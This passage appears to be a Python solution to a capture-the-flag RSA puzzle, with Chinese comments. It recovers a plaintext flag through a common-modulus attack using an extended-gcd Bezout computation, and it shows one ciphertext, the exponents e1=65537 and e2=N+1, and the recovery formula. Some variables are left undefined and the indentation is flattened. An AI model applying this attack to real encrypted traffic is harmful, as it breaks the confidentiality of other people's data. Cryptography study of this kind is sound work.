ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789

e1 = 65537
# 根据推导,ct2 相当于 m^(N+1) mod N
e2 = N + 1

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

# 1. 计算 e1 和 e2 的最大公约数以及贝祖系数
# g = s1 * e1 + s2 * e2
g, s1, s2 = egcd(e1, e2)

# 确保它们互质(通常都是互质的)
if g != 1:
print("Error: Exponents are not coprime!")
else:
# 2. 共模攻击恢复明文
# m = ct1^s1 * ct2^s2 mod N

# Python 的 pow(base, exp, mod) 函数在 Python 3.8+ 支持负数指数
# 其数学含义是求模逆元后再求幂

m = (pow(ct1, s1, N) * pow(ct2, s2, N)) % N

flag = long_to_bytes(m)
print(flag)